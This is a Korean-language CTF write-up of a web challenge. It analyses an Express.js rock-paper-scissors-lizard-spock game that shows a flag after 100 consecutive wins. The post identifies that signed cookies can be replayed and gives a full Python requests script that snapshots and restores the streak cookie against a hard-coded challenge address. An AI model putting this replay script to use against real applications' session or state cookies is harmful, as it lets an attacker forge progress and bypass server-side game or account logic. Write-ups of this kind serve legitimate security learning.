반응형
문제설명
Topic: General
분야: Web
난이도: Hard
코드분석
const valid_inputs = ["rock", "paper", "scissors", "lizard", "spock"];
- 입력값은 총 5개로 이뤄져 있음
const winsAgainst = {
rock: ["scissors", "lizard"],
paper: ["rock", "spock"],
scissors: ["paper", "lizard"],
lizard: ["spock", "paper"],
spock: ["scissors", "rock"],
};
- rock 선택 시 scissors와 lizard 경우 승리
- paper 선택시 rock와 spock 경우 승리
- scissors 선택 시 paper 와 lizard 경우 승리
- lizard 선택시 spock와 paper 경우 승리
- spock 선택 시 scissors와 rock 경우 승리
app.get("/", async (req, res) => {
const rawStreak = req.signedCookies.streak ?? "0";
const parsedStreak = Number.parseInt(rawStreak, 10);
const streak = Number.isNaN(parsedStreak) ? 0 : parsedStreak;
const flash = req.signedCookies.flash;
if (flash) {
res.clearCookie("flash", { signed: true });
}
const buttons = valid_inputs
.map(
(choice) =>
`<button type="submit" name="input" value="${choice}">${choice}</button>`
)
.join("");
return res.send(`<!DOCTYPE html>
<html>
<body>
${flash ? `<p>${flash}</p>` : ""}
<p>Current streak: ${streak}</p>
<form method="POST" action="/rpsls">
${buttons}
</form>
${streak >= 100 ? FLAG : "Win 100 times in a row to get the flag!"}
</body>
</html>`);
});
- streak은 쿠키를 읽어서 숫자로 반환함. 없으면 0으로 처리
- flash은 1회성 쿠키
- 100연승 시플래그 출력
app.post("/rpsls", async (req, res) => {
const { input } = req.body;
if(!valid_inputs.includes(input)) {
res.cookie("streak", "0", { signed: true });
res.cookie("flash", "Invalid input", { signed: true });
return res.redirect("/");
}
const opponent = valid_inputs[Math.floor(crypto.randomInt(valid_inputs.length))];
const currentStreakRaw = req.signedCookies.streak ?? "0";
const currentStreakParsed = Number.parseInt(currentStreakRaw, 10);
const currentStreak = Number.isNaN(currentStreakParsed) ? 0 : currentStreakParsed;
if (input === opponent) {
res.cookie("streak", "0", { signed: true });
res.cookie("flash", "Draw!", { signed: true });
} else if (winsAgainst[input].includes(opponent)) {
const nextStreak = currentStreak + 1;
res.cookie("streak", String(nextStreak), { signed: true });
res.cookie("flash", `You beat ${opponent}!`, { signed: true });
} else {
res.cookie("streak", "0", { signed: true });
res.cookie("flash", `You lost! ${opponent} beats ${input}.`, { signed: true });
}
return res.redirect("/");
});
- 입력한 5개의 값을 body로 넣음
- 올바르지 않은 값 넣으면 strak이 0이 되고, flash는 Invalid input 출력 후 ( / ) 페이지로 리다이렉트
- 쿠키에 저장된 연승 값을 읽어 숫자로 파싱
- 비기고, 이기고, 진 것에 대해 따로 처리
취약점 분석
- signed 쿠키는 변조 방지는 하지만 재사용 방지는 못한다.
- 즉, replay(재전송) 공격이 가능
익스플로잇
먼저, 쿠키에서 streak 값을 중복사용하는 것을 확인


응답에서 연승 값을 중복으로 사용하는 것을 알 수 있음
따라서 페이로드를 다음과 같이 작성
import random, re, requests
url = "http://34.170.146.252:31548/"
input = ["rock","paper","scissors","lizard","spock"]
# 세션 유지: 쿠키를 자동으로 저장/전송
session = requests.Session()
# best: 지금까지 달성한 연승
# snap: best를 달성했을 때의 쿠키 스냅샷(복구용)
best, snap = 0, None
while best < 100:
# 랜덤 선택으로 한판 진행 (POST /rpsls)
response = session.post(
f"{url}/rpsls",
data={"input": random.choice(input)}
)
# 응답 HTML에서 'Current streak: N' 숫자 추출"
n = int(re.search(r"Current streak:\s*(\d+)", response.text).group(1))
# 최고 기록 갱신 시: 현재 쿠키를 스냅샷으로 저장
if n > best:
best, snap = n, session.cookies.copy()
print("best =", best)
# 연승이 0으로 리셋되면 저장해둔 최고 기록 쿠키로 롤백
elif n == 0 and snap:
session.cookies = snap.copy()
# 100연승 달성 후 메인 페이지 가져와서 플래그 출력
final = session.get(f"{url}/")
print(final.text)

반응형
'Alpacahack' 카테고리의 다른 글
| Another Login Challenge (0) | 2026.03.15 |
|---|---|
| Alert my Flag (0) | 2026.03.05 |
| Alpaca Rangers (0) | 2026.03.03 |
| omikuji (0) | 2026.02.23 |
| Emojify (0) | 2026.02.20 |